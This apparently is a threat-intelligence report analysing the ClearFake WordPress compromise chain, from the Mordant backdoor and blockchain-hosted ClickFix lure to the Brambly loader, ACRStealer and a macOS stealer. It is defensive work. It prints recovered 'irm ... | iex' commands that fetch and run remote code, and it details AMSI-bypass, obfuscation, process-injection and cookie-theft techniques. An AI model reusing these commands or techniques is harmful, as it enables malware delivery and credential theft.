- October 28, 2026
TL;DR
More than 10,000 WordPress sites are serving a fake Cloudflare CAPTCHA that tricks visitors into pasting a PowerShell one-liner into their Windows Run dialog. The one-liner fetches a multi-stage loader built to deliver ACRStealer, a C++ infostealer. On macOS, a parallel branch delivers AppleScript-based credential harvesters and native Mach-O payloads targeting 80 or more browser extensions, wallets, and password managers.
TENEX Threat Intelligence team broke the operation into three layers:
Layer One: A server-side WordPress backdoor we track as Mordant that compromises sites, persists across multiple WordPress locations so single-file cleanup fails, and plants the client-side loader on every page view.
Layer Two: A client-side EtherHiding resolver chain that reads its next-stage payloads from BNB Smart Chain testnet smart contracts, making the delivery layer resistant to takedown by design because no single domain or server holds the payload.
Layer Three: A multi-platform loader chain wrapped in the Brambly PowerShell obfuscator that uses burn-and-replace GitHub accounts, CDN abuse, TLS-fingerprint gating, AMSI bypass, and reflective code injection to deliver packed payloads to Windows and macOS. The Windows payload is ACRStealer, a C++ infostealer whose current build introduces a custom DNS-over-HTTPS client, a structured beacon protocol, and headless-browser cookie extraction techniques not previously documented for this family.
The operation is tracked publicly as ClearFake. Trend Micro, Censys, and independent researcher rmceoin published analyses in Q3 2026 attributing the BNB Smart Chain testnet variant to this cluster. TENEX Threat Intelligence team confirmed the same contract addresses on multiple compromised WordPress sites in the September through October 2026 capture window and extended the analysis into the server-side backdoor, the downstream loader families, and the macOS branch, all of which sit below the publicly documented ClearFake layer.
On a subset of the compromised sites the TENEX Threat Intelligence team examined, a second, independent ClickFix framework was also present. This framework is tracked publicly as ErrTraffic, a commercial multi-platform ClickFix TDS sold on cybercrime forums. ErrTraffic uses its own site-compromise mechanism and its own EtherHiding C2 chain anchored on a different blockchain. Where both frameworks were observed on the same site, this represents two independent compromises layered on one target, not a single operation. Defensive controls against Mordant do not degrade ErrTraffic and vice versa; each framework requires its own blocklist and detection logic.
What we were looking at
ClearFake has been tracked publicly since late 2023 as a cluster that injects JavaScript into compromised WordPress sites to deliver malware via fake CAPTCHA and fake browser-update lures. The BNB Smart Chain testnet variant that the TENEX Threat Intelligence team observed uses free testnet transactions (no gas cost) and is resistant to takedown because the payload data lives on-chain and cannot be removed by any single authority.
The TENEX Threat Intelligence team began investigating after observing phishing messages, distributed through a legitimate third-party email service, that redirected recipients to ClickFix lures hosted on compromised WordPress sites. The redirect path routed recipients from the email through the compromised sender’s domain and into the ClickFix overlay on a WordPress site. The capture window ran from late September through early October 2026. We captured live infection chains, recovered server-side backdoor source, decoded the full client-side EtherHiding resolver and ClickFix builder, and analyzed the downstream Windows and macOS loader families.
The downstream loaders (the Brambly obfuscator on Windows via GitHub and sensa138 on macOS) sit below the ClearFake delivery layer as publicly described. The Trend Micro, Censys, and rmceoin analyses document the ClickFix lure and the BSC-testnet payload resolution, but stop before characterizing the specific loader families. The Brambly obfuscator is a PowerShell packer reused across different payloads, with its own infrastructure and craftwork (burn-and-replace GitHub accounts, CDN abuse, AMSI bypass, custom encoding, and reflective code injection). Whether Brambly and the macOS branch represent separate downstream operators consuming traffic from a shared ClickFix lure layer, or a single operation that compartmentalizes infrastructure per branch, is not resolved by this report.

Figure 1: The complete infection chain from a compromised WordPress site through the ClearFake EtherHiding resolver and ClickFix lure to the Windows (Brambly/ACRStealer) and macOS (AppleScript stealer) branches
The Mordant backdoor: how WordPress sites stay compromised
The TENEX Threat Intelligence team recovered the server-side injector from compromised WordPress sites during a transient server-side failure state in which the plugin file was served as text rather than executed. The recovered source revealed a WordPress-cron-driven agent that beacons every 420 seconds to a C2 at likingdropout[.]site (using randomized subdomains), authenticating with a per-build HTTP header (X-FER-Auth, X-MNS-Auth, and X-M36-Auth observed across builds). On each beacon, the backdoor submits a self-inventory of its own persistence markers and receives a task list.
We named this backdoor Mordant because a mordant is the chemical substance that fixes a dye to fabric so it cannot wash out. That is exactly what this implant does to WordPress: it spreads persistence across so many locations that removing any single file leaves the infection intact.
The backdoor persists simultaneously in a fake plugin named wp-helper-[0-9a-f]{6} (samples: wp-helper-d8fa01, wp-helper-d85295), the mu-plugins directory (auto-loaded on every request, no activation needed), every active theme's functions.php file, wp-config.php, a WP-cron schedule (ea_fleet_sync, interval 420 seconds), and a wp_options database row keyed _wp_[a-z0-9]{8}.
Supported task types include arbitrary file writes, arbitrary PHP eval(), snippet injection into every theme's functions.php, injection into wp-config.php, and flushing every cache plugin so injections go live instantly. The visitor_js capability is what plants the client-side ClickFix loader into the WordPress page as a <script id="_ea_s" src="data:text/javascript;base64,..."> tag.
The practical implication is that domain blocklisting of a compromised lure site does not remediate the compromise. The backdoor remains on disk, continues to beacon to its C2, and will re-plant the client-side loader after any file-level cleanup that misses even one persistence location. Full remediation requires credential rotation at the hosting level, grep-and-remove across the entire WordPress install for the markers // ea_plug, // ea_mu, // _ea_al, // _ea_wc, /* _ea_wc_s */, deletion of the fake plugin, deletion of the WP-cron schedule, and deletion of the wp_options row. Rebuilding from a known-clean backup predating the compromise is the recommended path.
The Mordant C2 domain is itself resolved through EtherHiding: BSC-testnet contract 0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96 (selector 0x38bd65e2) returns the current C2 hostname. If defenders sinkhole or take down likingdropout[.]site, the operator can push a set() transaction to the contract and rotate to a successor domain without touching a single compromised WordPress site.

Figure 2: The Mordant backdoor's on-chain C2 resolution routine, showing the hardcoded BSC-testnet contract address, six fallback RPC endpoints, the JSON-RPC eth_call request, and the ABI string decoding that extracts the current C2 hostname
The TENEX Threat Intelligence team also observed a second injection pattern on another compromised site, where the malicious plugin is disguised as optinmonster-pro-256 (real OptinMonster installs as optinmonster, with no numeric suffix). This variant registers a WordPress admin-ajax action bsc_sl_get_script and loads a static JavaScript stager. The stager contains no EtherHiding code; the real EtherHiding loader is only served through a nonce-gated AJAX call, making the attack invisible to passive scrapers and to any analyst who fetches the page without replaying the AJAX exchange. The TENEX Threat Intelligence team replayed the exchange with the captured nonce and recovered the loader, which hard-codes a different ClearFake router contract (0x7Fd85c090f2b35071C57a3b9FeAF462aaEb0E437), proving that the operation rotates its on-chain infrastructure.
EtherHiding: when the payload lives on the blockchain
The client-side loader planted by the Mordant backdoor calls eth_call with selector 0x6d4ce63c (get()) on BNB Smart Chain testnet contract 0xA1decFB75C8C0CA28C10517ce56B710baf727d2e via a POST to a public RPC endpoint. The returned ABI-encoded string decodes to a gzip-compressed JavaScript blob of approximately 3 KB that serves as the first-stage router.
The router applies anti-analysis gating before doing anything: navigator.webdriver detection, HeadlessChrome/PhantomJS/Puppeteer/Playwright user-agent checks, zero-size window checks, missing plugins or languages checks, and an explicit abort on localhost or RFC1918 ranges with the literal string "stop watching us :)". It then routes by OS: Windows loads contract 0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff, macOS loads contract 0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5. Both OS-payload contracts are called via a Promise.any race across eight BSC-testnet RPC providers, making the resolver layer resilient to any single RPC provider blocking the request.
The Windows payload contract returns approximately 85 KB of JavaScript that builds the fake Cloudflare CAPTCHA page. The TENEX Threat Intelligence team recovered the full source. The builder fingerprints the victim's IP via a synchronous XMLHttpRequest to ip-info.ff.avast[.]com (abuse of a legitimate Avast IP-echo service) and caches it in a cookie named cjs_id with a 2-day TTL. It then calls an on-chain conversion-tracking contract (0xf4a32588b50a59a82fbA148d436081A48d80832A, selector 0x24513bb6) passing the victim's IPv6 address. The contract returns "yes" or "no"; if "no," the lure page renders and the IP is served once. The operator stores conversion state on-chain to defeat repeat analysis and gate deduplication.
The ClickFix UI itself is a near-pixel-perfect fake of a Cloudflare "Verification Steps" overlay with full multilingual string sets for English, Russian, French, Spanish, and German. The verification ID is randomized per page view. The copy-to-clipboard logic lives in an obfuscated JavaScript block. The TENEX Threat Intelligence team deobfuscated it and recovered the clipboard payload template:
IRM c"d"n.jsdelivr.net/g"h"/04FB-fF/3effbe0b-dc54-4919-a42c-0dc86dfc1122/4a49f8d9-ab3a-49a6-83c8-7e58bfb8fe1e | IEX
The embedded double-quote characters in c"d"n and g"h" are static-detection evasion. PowerShell collapses them at parse time, resolving the host to cdn.jsdelivr[.]net. The effective URL is a jsDelivr proxy to a GitHub repository, and the quote-break pattern is a durable signature for content inspection and endpoint command-line monitoring.

Figure 3: ClickFix landing page on a compromised WordPress site, presenting a fake Cloudflare CAPTCHA that instructs the visitor to paste a PowerShell command
As of October 23, the operator replaced the Cloudflare-branded CAPTCHA with a generic "Verification Steps" overlay. Because the ClickFix builder is served from the BSC-testnet smart contract, a single on-chain transaction updates the lure across every compromised site simultaneously, with no need to touch individual WordPress installations. The underlying clipboard payload and delivery chain remain identical to the Cloudflare-branded variant.

Figure 4: Updated ClickFix lure observed October 23, 2026, replacing the Cloudflare CAPTCHA with a generic Verification Steps page that walks the visitor through opening PowerShell via the Power User menu
Brambly Loader
The TENEX Threat Intelligence team analyzed the Windows loader consuming traffic from the ClickFix clipboard URLs. All findings in this section are drawn from static analysis; payloads were decoded, never executed outside isolated harnesses.
The Brambly obfuscator is a PowerShell packer reused across different payloads. It is delivered through burn-and-replace GitHub accounts proxied via jsDelivr. The operator creates a GitHub account, pushes payload files to a repository, and references them through cdn.jsdelivr[.]net/gh/<user>/<repo>/<file> URLs. When the account is taken down, a new one appears within days with fresh payloads that produce identical final shellcode. Microsoft Threat Intelligence independently reported a separate ClickFix campaign on October 2, 2026 in which the TENEX Threat Intelligence team observed the same Brambly loader being used to deliver the initial PowerShell stages.
The TENEX Threat Intelligence team observed seven accounts across the capture window: 04FB-fF (active September 24 through October 1, 2026; commit author e438e@lazy-park-keeper[.]com), 20fd0aE3E004 (created October 5; commit author install@keeprox[.]com), 1c8-29210BCba4d9 (October 8; commit author using @guard-loft[.]com), FE-862D-698140fB (October 15; commit author wallace@syscousainc[.]global), 48Ac-825 (October 16; commit author adrian@pyramid[.]beer), adsr1163 (October 19; commit author adsr1163@proton[.]me), and sdf4563jvn (October 21; commit author sdf4563jvn@proton[.]me). The identical final shellcode across the first two accounts (SHA-256 ca4717d84adc33c42fed4bd9f4656893a2f8892b943b250f5265cb6303b64371) establishes that the October 1 account burn was procedural (a takedown response) rather than an operator pivot. The tooling and the final payload remain unchanged across all seven accounts.
Most of the commit author emails sit behind Cloudflare Email Routing, a free forwarding-only service for domains on Cloudflare DNS. Mail to e438e@lazy-park-keeper[.]com or adrian@pyramid[.]beer hits Cloudflare's MX servers and is relayed to a destination mailbox hosted elsewhere. Because Cloudflare Email Routing forwards mail without storing it and provides no outbound sending, a domain configured this way can serve as a low-cost receiving address: a catch-all rule is enough to receive GitHub's verification email for each new account. The TENEX Threat Intelligence team has not determined whether each of these domains was registered by the operator or belongs to an unrelated party whose domain was misused. Starting with adsr1163 (October 19), the operator switched to direct ProtonMail addresses, dropping the Cloudflare Email Routing layer entirely. The seventh account sdf4563jvn continues on ProtonMail.
Takedown economics strongly favor the operator, and the operation is professionalizing under pressure. Across the seven observed account rotations, replacement infrastructure appeared the same day in every case, typically within hours. The provisioning step itself took between 3 and 15 minutes from account creation to first payload commit, indicating a scripted or well-rehearsed setup routine. The seventh account introduced two escalations. First, sdf4563jvn was created on October 21 at 15:53 UTC, before the previous account adsr1163 was taken down. This is the first observed instance of the operator pre-staging a replacement account ahead of a takedown rather than reacting to one. Second, the account runs two repositories simultaneously, each pointing at a different C2 apex domain (fasterflogging[.]cc and selectivewilled[.]cc). Both serve an identical stage-2 payload (6,297,953 bytes). If one domain is blocked or sinkholed, the other continues to deliver. Account-level takedowns are now fully absorbed; the remaining leverage points are the C2 apex domains and the exfiltration endpoint.
The initial PowerShell payload fetched from the jsDelivr URL is approximately 90 percent arithmetic junk around a small number of effective lines. The obfuscation includes 27 decoder functions, (x,y)-keyed per-call arrays, Get-PSBreakpoint and [Debugger]::IsAttached checks, and string decoders that return a random junk string until an in-script guard variable is set. The TENEX Threat Intelligence team recovered the fully decoded launched command: a hidden 32-bit powershell.exe invoked with:
-NoProfile -ExecutionPolicy Bypass -Command
"& (gcm ir*m) 'hxxps://<uuid>.foxdale[.]cc/install.ps1' | & (gcm i*x)"
The gcm ir*m / gcm i*x wildcard-alias evasion resolves to Invoke-RestMethod and Invoke-Expression at runtime. The stage-1 host (foxdale[.]cc family) is Cloudflare-fronted and UA-filtered to require WindowsPowerShell/5.1.* (curl receives HTTP 403, PowerShell irm receives HTTP 200).
Unwinding 64,672 lines: how install.ps1 decrypts itself
The install.ps1 payload is 6.3 MB of arithmetic-junk PowerShell spread across 64,672 lines. Over 99.9% of the file is dead code that never influences execution: if/elseif chains whose conditions are statically false, do/while loops that break on the first iteration, for loops with unreachable ranges, and variables assigned constant values that are never read again. The purpose is to inflate file size beyond casual inspection, delay automated sandbox analysis, and dilute static-signature density.

Figure 5: Junk-code padding in install.ps1, showing statically-false conditional branches and unreachable loop ranges that inflate the script to 6.3 MB without influencing execution
The script never writes a .NET type name, method name, or execution verb as plaintext. Every string that matters is built at runtime through one of four encoding schemes scattered across the junk padding.
The first technique is char-code arithmetic, where each variable is assigned a trivial expression that evaluates to a single ASCII code: ((105+137)-137) = 105 = i. Multiple variables are then concatenated with [char][int] casts to assemble the target string. This technique produces the iex invocation verb (chars 105, 101, 120) and the Dispose method name, among others.
The second technique uses BigInteger base-conversion. A seed array of integers is folded into a single [System.Numerics.BigInteger] value by iterating accumulator = accumulator * base + seed[i]. The result is then decomposed by repeated % 256 / divide by 256 to extract one character per iteration. With seed @(119, 160, 28, 192) and base 199, this produces UTF8. A 17-element variant with base 211 produces FromBase64String.
The third technique is a modular array transform. Two integer arrays of equal length are fed through the formula a[i] + 13 * (((b[i] + 31 - a[i]) * 12) % 31). With arrays @(6,10,12,5,12,10,1,6,12) and @(9,8,23,21,23,21,12,17,10), this produces GetString.
The fourth technique is multi-variable char-code concatenation, where longer strings such as System.Text.Encoding and System.Convert are built by defining 14 or more single-char variables across hundreds of intervening junk lines, then concatenating them in a single assignment. The separation between definition and use defeats grep-based extraction.
After all encoding resolves, the effective .NET call surface is: [System.Text.Encoding]::UTF8, [System.Convert]::FromBase64String(), .GetString(), and the execution verb iex.

Figure 6: Char-code arithmetic lines that assemble the string "iex" from individual ASCII values 105, 101, 120
An AMSI bypass loop iterates 651 times. Every third iteration, the loop body uses .NET reflection to patch the AMSI scan interface. The type name, method name, and field name for the reflection call are all assembled through the char-code arithmetic technique described above, ensuring no AMSI-related string appears in the script source.
The encrypted payload is a byte array of over 400,000 integer values, each the ASCII code of a Base64 character. To unpack it, [System.Text.Encoding]::UTF8.GetString(byte_array) converts the integer array to a Base64 string. Second, [System.Convert]::FromBase64String(base64_string) decodes it to raw encrypted bytes. Third, a while loop XORs each byte against the cycling key string AMSI_RESULT_NOT_DETECTED. Fourth, [System.Text.Encoding]::UTF8.GetString(xor_result) produces the decoded PowerShell source, which is passed to iex for execution.
The XOR loop does not use the -bxor operator. Instead, it computes XOR through the algebraic identity (A -bor B) - (A -band B), which is mathematically equivalent to A -bxor B. This avoids triggering AMSI rules and static detections that flag -bxor in the context of byte-level decryption loops.
The key AMSI_RESULT_NOT_DETECTED is a Windows Defender AMSI constant representing a clean scan result. The choice of decryption key is not accidental: the operator names it after the exact verdict their bypass is built to produce.

Figure 7: The XOR decryption loop using the algebraic identity (A -bor B) - (A -band B) in place of -bxor, with the key AMSI_RESULT_NOT_DETECTED
The decoded stage is a pure-PowerShell reflective injector that resolves Win32 APIs by hash (seed 0x35, multiplier 2870014623), builds dynamic P/Invoke signatures via System.Reflection.Emit, and performs early-bird APC injection: CreateProcessA(SUSPENDED) on MicrosoftEdgeUpdate.exe (fallback rundll32.exe), VirtualAllocEx RWX, WriteProcessMemory of 301,113 bytes of custom-Base85-decoded shellcode, QueueUserAPC, random 500 to 2000 ms sleep, ResumeThread.

Figure 8: The reflective injector builds dynamic P/Invoke delegates for seven Win32 APIs via System.Reflection.Emit, targets MicrosoftEdgeUpdate.exe with string-split evasion, and calls CreateProcessA with CREATE_SUSPENDED
A leftover developer comment in one early build reads # gpo machine startup .\Policies\lb01.local\fuzzy_profile_32240.ps1xml, suggesting the operator deploys this loader via Group Policy startup scripts in their own testing environment and the artifact was accidentally left in a payload build.
The decoded stage carries its shellcode payload in a PowerShell here-string variable ($dullhead) encoded with a non-standard Base85 alphabet (!#%&()*+,-./0-9:;<=>?@A-Z[]^_a-z). The custom dc function decodes this blob into 301,113 bytes of raw shellcode. The alphabet differs from both standard Ascii85 and Z85, meaning generic decoders will not produce valid output.

Figure 9: The decoded stage defines a non-standard Base85 alphabet, a reverse lookup map for decoding, and the API hash function (seed 0x35, multiplier 2870014623) used to resolve Win32 exports without calling GetProcAddress
Rather than calling GetProcAddress, the injector reads kernel32.dll directly from the current process memory. It locates the module base address through [System.Diagnostics.Process]::GetCurrentProcess().Modules, copies the PE header and all sections into a managed byte array, and walks the export address table to match each export name against a target hash. The hash function hm uses seed 0x35 and multiplier 2870014623 (0xAB10F29F), iterating over each byte of the export name string. Seven API addresses are resolved this way: CreateProcessA, VirtualAllocEx, WriteProcessMemory, QueueUserAPC, ResumeThread, TerminateProcess, and CloseHandle. If WriteProcessMemory or ResumeThread cannot be found in kernel32.dll exports, the injector falls back to kernelbase.dll using the same PE-walking technique.
The injector is built to wipe its own traces from the powershell.exe process memory after injection. Once WriteProcessMemory copies the shellcode into the target process (MicrosoftEdgeUpdate.exe or rundll32.exe), the loader zeroes the local shellcode array with [Array]::Clear(). Every early-exit failure path does the same before returning, so the shellcode buffer is never left intact in the PowerShell process regardless of outcome. The kernel32.dll and kernelbase.dll PE section copies used for export-table walking are also zeroed immediately after API resolution completes, and all AllocHGlobal buffers (STARTUPINFO, PROCESS_INFORMATION) are freed in the finally block. The result is that the decoded shellcode survives only in the injected process, not in the powershell.exe that performed the injection, reducing the window for memory forensics. The sleep jitter between QueueUserAPC and ResumeThread uses RNGCryptoServiceProvider for cryptographically random timing (500 to 2000 ms) rather than Get-Random, avoiding the deterministic PRNG that defenders sometimes fingerprint.
Inside the shellcode: a position-independent reflective PE loader
The shellcode injected into the target process contains a complete position-independent reflective PE loader. The TENEX Threat Intelligence team disassembled the shellcode and traced execution from the entry point through to final payload handoff.
The entry point is a call instruction that jumps forward past the embedded payload data to the main function. The call pushes the address of the next byte onto the stack, and the first instruction in the main function is pop ecx, which captures that return address into a register. This is the classic call/pop pattern used in position-independent shellcode: the bulk of the binary between the entry point and the main function is encrypted and compressed payload data, and the register now holds the base pointer the shellcode uses to reference it.

Figure 10: The shellcode entry point at offset 0x0 calls forward past the encrypted payload data to the main function, which begins with a pop to capture the return address as a base pointer for all payload references
The shellcode bootstraps its own API access by manually walking PE export tables, following the same PEB-walking technique seen in virtually every commodity shellcode framework. Because the shellcode runs as raw injected code with no import table of its own, it cannot call any Windows API until it first locates the function addresses itself. It reads fs:[0x18] to reach the TEB, then the PEB, then the PEB_LDR_DATA structure, and iterates the InLoadOrderModuleList to enumerate every DLL loaded in the process. For each module, it reads the DllBase, parses the PE header to locate the export directory, and walks every exported function name, hashing each one and comparing the result against hard-coded target values. When a hash matches, it reads the function's address from the export table. This is functionally what GetProcAddress does internally, reimplemented from scratch in position-independent assembly.
Each export name is hashed with a custom algorithm: a seed value multiplied by 0x1F per character, with each character forced to lowercase for case-insensitive matching. The resulting hash is compared against seven hard-coded target values. This is a different hash algorithm from the PowerShell-level API resolver (which uses seed 0x35 and multiplier 0xAB10F29F), confirming that the shellcode and the PowerShell injector are separate components with independent API-resolution logic. The seven APIs resolved at the shellcode level are VirtualAlloc, VirtualProtect, ExitProcess, VirtualFree, LoadLibraryA, GetModuleHandleA, and GetProcAddress.

Figure 11: The shellcode computes a rolling hash over each export name (seed 0x6C6C6A62, multiplier 0x1F, case-insensitive) and compares it against seven target hashes to resolve VirtualAlloc, VirtualProtect, ExitProcess, VirtualFree, LoadLibraryA, GetModuleHandleA, and GetProcAddress
Once all seven APIs are resolved, the shellcode allocates a read-write buffer via VirtualAlloc and copies the encrypted payload data into it. It then XOR-decrypts the buffer using a 128-byte rolling key embedded in the shellcode body. The key index cycles every 128 bytes, producing a repeating keystream.
After XOR decryption, a second VirtualAlloc allocates the decompression output buffer. The shellcode runs an LZ decompression pass over the decrypted data using a bit-stream reader that branches on each bit: clear bits copy a literal byte from the compressed stream, set bits trigger a back-reference copy from already-decompressed output. The decompressed result is a complete PE executable.

Figure 12: The LZ decompression routine reads the decrypted bitstream one bit at a time, branching on each bit: a clear bit copies a literal byte from the compressed stream to the output buffer, a set bit triggers a back-reference copy from already-decompressed output
The shellcode then performs a full in-memory reflective PE load without touching disk. It parses the MZ and PE headers from the decompressed buffer, reads the preferred ImageBase from the optional header, and calls VirtualAlloc at that preferred base with size SizeOfImage plus one extra page. If the preferred base is unavailable, it falls back to any available base.
Import resolution walks the PE import directory. For each import descriptor, the shellcode reads the DLL name, calls LoadLibraryA (falling back to GetModuleHandleA if the load fails), then iterates the import lookup table. Named imports are resolved via GetProcAddress; ordinal imports use the raw ordinal value. Each resolved address is written into the corresponding Import Address Table slot. After each DLL name is used, the shellcode overwrites the name string with zeroes. After each function name is resolved, the name bytes are similarly zeroed. This is anti-forensics at the shellcode level: if a memory dump captures the process after loading completes, the import names are already gone.
After imports are resolved, the shellcode calls VirtualProtect on each section to apply the correct memory protection flags.
Because the PE is loaded manually rather than through the Windows loader, thread-local storage must be initialized by the shellcode itself. It scans ntdll for the internal function LdrpHandleTlsData via byte signature, checks the OS version through the PEB to select the correct calling convention, and executes any registered TLS callbacks. Without this step, any payload that uses thread-local variables (including most C/C++ runtimes) would crash on execution.
Before transferring execution, the shellcode zeroes the decompressed PE buffer and frees it with VirtualFree. It reads the AddressOfEntryPoint from the PE optional header, adds the image base, and checks whether the loaded PE is a DLL or an EXE. If it is a DLL, it calls the entry point as DllMain with DLL_PROCESS_ATTACH. If it is an EXE, it calls the entry point with no arguments. In both cases, the shellcode calls ExitProcess with the return value. At this point the reflectively loaded PE is executing in the context of MicrosoftEdgeUpdate.exe or rundll32.exe, with no on-disk artifact, no loader-lock violation, and no import table strings surviving in memory.
The TENEX Threat Intelligence team wrote a script that locates the Brambly shellcode header, derives the XOR key length from the loader's AND mask, decrypts the compressed blob, and decompresses the embedded PE payload. The script is available on GitHub.
ACRStealer: what the loader delivers
After the shellcode completes its reflective PE load, the running process is a 700 KB C++ infostealer that the TENEX Threat Intelligence team identifies as ACRStealer based on the internal config string acrid-v2-cfg-row and the self-reported version 4.4.6-alpha1 (build timestamp Sun Oct 4 17:51:06 2026). ACRStealer is a C++ information stealer still sold as Malware-as-a-Service at $1,000 per month.
Since other researchers have already covered most of ACRStealer's core capabilities, we will walk through our findings briefly, focusing on what is new in this build.
DNS-over-HTTPS for C2 resolution
Public reporting to date describes ACRStealer resolving its C2 address through dead drop resolvers on Steam, Google Docs, or Telegraph pages, or through encrypted addresses embedded in the binary. This build introduces a significant change that has not appeared in any prior public analysis: a custom DNS-over-HTTPS client that resolves hostnames by sending binary DNS wire-format queries to public DoH resolvers.
The shift matters because earlier resolution methods leave artifacts defenders can act on. A Steam or Google Docs dead drop page can be reported and taken down. An encrypted address embedded in the binary can be extracted statically and preemptively blocked. DoH bypasses both. Instead of calling the Windows DNS API (which would send a plaintext query through the corporate DNS server where security tools can log and block it), the malware implements its own DNS client: it builds the raw DNS query in memory, wraps it in an HTTPS POST, and sends it directly to Google or Cloudflare over port 443. The corporate DNS server never sees the lookup. On the network, the traffic looks identical to a browser performing normal encrypted DNS, the same way Chrome or Firefox resolve domains when DoH is enabled.
The DoH client constructs a standards-compliant DNS query, encodes the target hostname into DNS wire format, sends it as an HTTP POST to /dns-query with the header Content-Type: application/dns-message, and parses the response for A records. The resolver list is drawn from the binary's configuration: 8.8.4[.]4 (Google Public DNS), cloudflare-dns[.]com, 104.16.248[.]249 and 104.16.249[.]249 (Cloudflare). On failure, the client cycles through four resolver pairs before giving up.

Figure 13: The DoH query function at 0x416784 showing the HTTP POST to /dns-query with Content-Type: application/dns-message, followed by DNS wire-format response parsing that checks the transaction ID, walks the answer section, and extracts the four-byte IPv4 address from the first A record
The configuration struct embedded in the binary stores the protocol version string doh-txt-redirect-v1 and a doh-retry-delay parameter, indicating the DoH capability is versioned infrastructure the operator configures per build.
The C2 domain and the dead-drop Telegraph URL are still encrypted strings inside the binary, so static extraction remains possible. The shift is strictly in how resolution happens: instead of the OS resolver, all DNS lookups now go through the DoH client described above. Once the stealer resolves the C2 address, the subsequent HTTPS connection to that address is still visible to network security tools through TLS SNI inspection, IP-based flow logging, and proxy logs. DoH defeats DNS-level controls (sinkholing, query logging, response policy zones), not network-level C2 detection.
Dead drop resolver with DoH-backed name resolution
The stealer also retains the dead drop resolver pattern documented in earlier builds, but with a difference: the dead drop function itself uses the DoH client to resolve the Telegraph hostname before fetching the page. All DNS resolution in this build goes through encrypted DoH queries, whether for the final C2 address or for intermediate infrastructure.
Three identical Telegraph URLs are stored in the binary: hxxps://telegra[.]ph/C-Introduction-08-21. The resolver fetches the page over HTTPS (after resolving telegra.ph via DoH), scans the HTML response body for the start delimiter r.] and the end delimiter )0(, extracts the content between them, base64-decodes it, and validates the result as an IPv4 address string.

Figure 14: The Telegraph dead-drop page disguised as a C++ tutorial. The base64 encoded C2 address is appended to the end of the last paragraph, bracketed by the delimiters `r.]` and `)0(`. Decoding the highlighted string yields the C2 IP address `145.249.109[.]147`
The delimiter characters r.] and )0( blend into typical HTML content on a Telegraph article page. They are unlikely to appear in legitimate page text but easy to miss during manual review.
The GETWELL beacon: mapping the check-in protocol
When the stealer checks in to the C2, it sends a structured beacon assembled through a typed serialization API. The beacon command verb is GETWELL, carried in a field keyed bt (beacon type). The reverse engineering shows GETWELL is the command verb in a structured protocol with approximately 20 typed fields, not a campaign identifier. The actual campaign tag is a separate configuration value: campaign-default-CHANGE-PER-ENGAGEMENT, a placeholder that reveals the builder expects operators to customize this field per deployment.
The beacon is constructed in a single function that collects system information and serializes each value through one of four typed field-adder functions (string, integer, boolean, and array). Each field is identified by a short key string decrypted at the point of use.
The field mapping recovered from the binary:
| Field | Type | Value |
|---|---|---|
| bt | string | "GETWELL" (command verb) |
| bv | string | "4.4.6-alpha1" (build version) |
| hi | string | Machine GUID |
| o | string | Windows version and architecture |
| un | string | Encoded hardware ID |
| p | string | Encoded hardware ID (secondary) |
| dn | string | Domain name (default: "WORKGROUP") |
| cp | string | Processor description |
| dp | string | Display adapter profile |
| s | string | Physical memory |
| l | string | Session ID (derived from performance counter and machine GUID hash) |
| a | string | Unknown |
| c | integer | Unknown |
| r | integer | Display count |
| el | boolean | Elevated privilege |
| lt | string | Unknown |
| is | array | Installed software |
| li | array | Running processes |
| pl | array | Loaded drivers |
| g | array | Network adapters |
Earlier builds used a JSON-based C2 protocol with AES-CBC transport encryption. This build has replaced that entirely with the typed field serialization described above, and DNS resolution goes through the DoH client. The UUID f1575b64-8492-4e8b-b102-4d26e8c70371 and the build numbering scheme are the primary indicators linking this build's lineage to the older architecture.
Headless browser cookie extraction
The stealer's Chromium credential pipeline (DPAPI master key extraction, AES-GCM decryption, App-Bound Encryption handling) follows the pattern documented in earlier builds. The new technique is how this build handles Firefox.
It launches a headless Firefox instance with the arguments -headless -no-remote -profile "C:\Users\Public\.ff_tmp". The -headless flag runs Firefox without a visible window. The -no-remote flag prevents the new instance from attaching to an already-running Firefox session. The custom -profile path points to a temporary directory, isolating the headless instance from the user's active profile. This allows the stealer to access cookie data that would otherwise be locked by a running Firefox process. A parallel technique exists for Chromium with --no-first-run --no-default-browser-check --headless for the same locked-database scenario.
ACRStealer configuration and infrastructure
The stealer's static configuration is embedded in the .data section as encrypted strings. The following fields were recovered across analyzed builds:
| Field | Content |
|---|---|
| DoH resolvers | 4 IP/hostname pairs (Google DNS, Cloudflare DNS) |
| Dead drop URL | Telegra.ph page resolved via DoH TXT lookup |
| Protocol version | doh-txt-redirect-v1 |
| Build tag | GETWELL |
| Build version | 4.4.2-alpha1 through 4.4.7-alpha1 |
| Operator UUID | f1575b64-8492-4e8b-b102-4d26e8c70371 |
| C2 domains |
media.hazelnook[.]cc, metrics.palefox[.]cc, status.fernhollow[.]cc, audit.bitfetch[.]cc, proxy.cloudload[.]cc, relay.reelxgrab[.]cc (rotated per build)
|
| Config format | acrid-v2-cfg-row |
Earlier builds stored the panel auth token and campaign tag as compiled-in encrypted strings along with the other fields. The campaign tag in those builds read campaign-default-CHANGE-PER-ENGAGEMENT, confirming the stealer is distributed as a builder kit where operators customize per deployment. In the latest build, emulating every call site of the decrypt function confirms that no call decrypts either value; the code paths that referenced them are absent. In their place, the acrid-v2-cfg-row config format identifier is checked at startup against a global flag in the BSS region, and a tokens.txt path is referenced during post-initialization. Together these indicate that the auth token and campaign tag moved to a runtime configuration mechanism, likely delivered through the C2 panel or the dead drop resolution process. The change means the operator can rotate panel credentials and campaign tags without recompiling the payload.
The C2 domain at capture time was status.fernhollow[.]cc. Connectivity checks target fastly[.]net before attempting C2 communication.
The TENEX Threat Intelligence team wrote a configuration extractor that emulates the ACRStealer decrypt function, recovers all encrypted strings, resolves dead drop URLs, and outputs the full config as JSON. The tool is available on GitHub.
The macOS branch
The macOS branch is a ClickFix and EtherHiding infostealer delivered through the lure page at sensa138[.]pro. The lure instructs the victim to paste a curl command into Terminal.

Figure 15: The macOS ClickFix lure on a compromised WordPress site, presenting a fake security verification that instructs the victim to open Terminal and press Command+V to paste the clipboard payload
The response is a gzip-plus-base64 wrapper decoding to a layer-1 AppleScript that establishes persistence via a LaunchAgent at ~/Library/LaunchAgents/com.Apple.<random>.plist (randomized label per victim; KeepAlive and RunAtLoad both true).

Figure 16: Decoded layer-1 AppleScript writing a LaunchAgent plist with KeepAlive and RunAtLoad both true, embedding a base64 payload that is decoded and piped to osascript on every boot
